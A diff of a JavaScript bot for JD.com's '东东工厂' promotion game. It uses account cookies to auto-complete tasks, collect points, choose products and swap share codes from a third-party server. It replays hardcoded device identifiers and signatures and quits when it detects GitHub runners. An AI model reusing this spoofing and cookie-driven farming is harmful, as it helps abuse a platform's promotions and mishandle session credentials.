console.log(`\n您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n`); + if (wantProductSkuId && ((remainScore * 1 + useScore * 1) >= (totalScore * 1 + 100000))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore + 100000}`); + console.log(`请去活动页面更换成心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n更换成心仪商品并手动投入电量兑换`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面更换成心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称,否则满足条件后会为您兑换当前所选商品:${name}\n`); + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`BoxJs或环境变量暂未提供心仪商品,下面为您目前选的${name} 发送提示通知\n`); + // await jdfactory_addEnergy(); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面查看`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请速去活动页面查看`); + } else { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【不满足】兑换此商品所需总电量:${totalScore}`) + console.log(`故不一次性投入电力,一直放到蓄电池累计\n`); + } + } + } else { + console.log(`\n此账号${$.index}${$.nickName}暂未选择商品\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:暂无\n`; + message += `心仪商品:${wantProduct ? wantProduct : '暂无'}\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = '', name, totalScore, couponCount, remainScore; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + if (totalScore) { + // 库存存在您设置的心仪商品 + message += `心仪商品数量:${couponCount}\n`; + message += `心仪商品所需电量:${totalScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if (wantProductSkuId && (($.batteryValue * 1) >= (totalScore))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${$.batteryValue * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`请去活动页面选择心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面选择此心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${$.batteryValue * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + message += `目前库存:暂无您设置的心仪商品\n`; + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称\n`); + await jdfactory_getProductList(true); + message += `当前剩余最多商品:${$.canMakeList[0] && $.canMakeList[0].name}\n`; + message += `兑换所需电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if ($.canMakeList[0] && $.canMakeList[0].couponCount > 0 && $.batteryValue * 1 >= $.canMakeList[0] && $.canMakeList[0].fullScore) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if (new Date(nowTimes).getHours() === 12) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0] && [0].name}所需总电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0].name}所需总电量:${$.canMakeList[0].fullScore}\n请速去活动页面查看`); + } + } else { + console.log(`\n目前电量${$.batteryValue * 1},不满足兑换 ${$.canMakeList[0] && $.canMakeList[0].name}所需的 ${$.canMakeList[0] && $.canMakeList[0].fullScore}电量\n`) + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await jdfactory_collectScore(code); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } + } +} +async function doTask() { + if ($.taskVos && $.taskVos.length > 0) { + for (let item of $.taskVos) { + if (item.taskType === 1) { + //关注店铺任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.followShopVo) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 2) { + //看看商品任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.productInfoVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 3) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 10) { + if (item.status === 1) { + if (item.threeMealInfoVos[0].status === 1) { + //可以做此任务 + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.threeMealInfoVos[0].taskToken); + } else if (item.threeMealInfoVos[0].status === 0) { + console.log(`${item.taskName} 任务已错过时间`) + } + } else if (item.status === 2){ + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 21) { + //开通会员任务 + if (item.status === 1) { + console.log(`此任务:${item.taskName},跳过`); + // for (let task of item.brandMemberVos) { + // if (task.status === 1) { + // await jdfactory_collectScore(task.taskToken); + // } + // } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 13) { + //每日打卡 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 14) { + //好友助力 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + // await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 23) { + //从数码电器首页进入 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await queryVkComponent(); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + } + } +} + +//领取做完任务的奖励 +function jdfactory_collectScore(taskToken) { + return new Promise(async resolve => { + await $.wait(1000); + $.post(taskPostUrl("jdfactory_collectScore", { taskToken }, "jdfactory_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + console.log(`领取做完任务的奖励:${JSON.stringify(data.data.result)}`); + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//给商品投入电量 +function jdfactory_addEnergy() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_addEnergy"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`给商品投入电量:${JSON.stringify(data.data.result)}`) + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//收集电量 +function jdfactory_collectElectricity() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_collectElectricity"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`成功收集${data.data.result.electricityValue}电量,当前蓄电池总电量:${data.data.result.batteryValue}\n`); + $.batteryValue = data.data.result.batteryValue; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取任务列表 +function jdfactory_getTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.taskVos.map(item => { + if (item.taskType === 14) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${item.assistTaskDetailVo.taskToken}\n`) + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//选择一件商品,只能在 $.newUser !== 1 && $.haveProduct === 2 并且 sellOut === 0的时候可用 +function jdfactory_makeProduct(skuId) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_makeProduct', { skuId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`选购商品成功:${JSON.stringify(data)}`); + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryVkComponent() { + return new Promise(resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=queryVkComponent`, + "body": `adid=0E38E9F1-4B4C-40A4-A479-DD15E58A5623&area=19_1601_50258_51885&body={"componentId":"4f953e59a3af4b63b4d7c24f172db3c3","taskParam":"{\\"actId\\":\\"8tHNdJLcqwqhkLNA8hqwNRaNu5f\\"}","cpUid":"8tHNdJLcqwqhkLNA8hqwNRaNu5f","taskSDKVersion":"1.0.3","businessId":"babel"}&build=167436&client=apple&clientVersion=9.2.5&d_brand=apple&d_model=iPhone11,8&eid=eidIf12a8121eas2urxgGc+zS5+UYGu1Nbed7bq8YY+gPd0Q0t+iviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC+PFHdNYx1A/3Zt8xYR+d3&isBackground=N&joycious=228&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=TF&rfs=0000&scope=11&screen=828*1792&sign=792d92f78cc893f43c32a4f0b2203a41&st=1606533009673&sv=122&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJFKw5SxNDrZGH4Sllq/CDN8uyMr2EAv+1xp60Q9gVAW42IfViu/SFHwjfGAvRI6iMot04FU965+8UfAPZTG6MDwxmIWN7YaTL1ACcfUTG3gtkru+D4w9yowDUIzSuB+u+eoLwM7uynPMJMmGspVGyFIgDXC/tmNibL2k6wYgS249Pa2w5xFnYHQ==&uuid=hjudwgohxzVu96krv/T6Hg==&wifiBssid=1b5809fb84adffec2a397007cc235c03`, + "headers": { + "Cookie": cookie, + "Accept": `*/*`, + "Connection": `keep-alive`, + "Content-Type": `application/x-www-form-urlencoded`, + "Accept-Encoding": `gzip, deflate, br`, + "Host": `api.m.jd.com`, + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": `zh-Hans-CN;q=1, en-CN;q=0.9`, + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log('queryVkComponent', data) + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询当前商品列表 +function jdfactory_getProductList(flag = false) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getProductList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.canMakeList = []; + $.canMakeList = data.data.result.canMakeList;//当前可选商品列表 sellOut:1为已抢光,0为目前可选择 + if ($.canMakeList && $.canMakeList.length > 0) { + $.canMakeList.sort(sortCouponCount); + console.log(`商品名称 可选状态 剩余量`) + for (let item of $.canMakeList) { + console.log(`${item.name.slice(-4)} ${item.sellOut === 1 ? '已抢光':'可 选'} ${item.couponCount}`); + } + if (!flag) { + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > -1 && item.couponCount > 0 && item.sellOut === 0) { + await jdfactory_makeProduct(item.skuId); + break + } + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function sortCouponCount(a, b) { + return b['couponCount'] - a['couponCount'] +} +function jdfactory_getHomeData() { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + // console.log(data); + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + if (data.data.result.factoryInfo) { + $.totalScore = data.data.result.factoryInfo.totalScore;//选中的商品,一共需要的电量 + $.userScore = data.data.result.factoryInfo.userScore;//已使用电量 + $.produceScore = data.data.result.factoryInfo.produceScore;//此商品已投入电量 + $.remainScore = data.data.result.factoryInfo.remainScore;//当前蓄电池电量 + $.couponCount = data.data.result.factoryInfo.couponCount;//已选中商品当前剩余量 + $.hasProduceName = data.data.result.factoryInfo.name;//已选中商品当前剩余量 + } + if ($.newUser === 1) { + //新用户 + console.log(`此京东账号${$.index}${$.nickName}为新用户暂未开启${$.name}活动\n现在为您从库存里面现有数量中选择一商品`); + if ($.haveProduct === 2) { + await jdfactory_getProductList();//选购商品 + } + // $.msg($.name, '暂未开启活动', `京东账号${$.index}${$.nickName}暂未开启${$.name}活动\n请去京东APP->搜索'玩一玩'->东东工厂->开启\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + } + if ($.newUser !== 1 && $.haveProduct === 2) { + console.log(`此京东账号${$.index}${$.nickName}暂未选购商品\n现在也能为您做任务和收集免费电力`); + // $.msg($.name, '暂未选购商品', `京东账号${$.index}${$.nickName}暂未选购商品\n请去京东APP->搜索'玩一玩'->东东工厂->选购一件商品\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + // await jdfactory_getProductList();//选购商品 + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://api.jdsharecode.xyz/api/ddfactory/${randomCount}`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = $.isNode() ? require('./jdFactoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000, + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 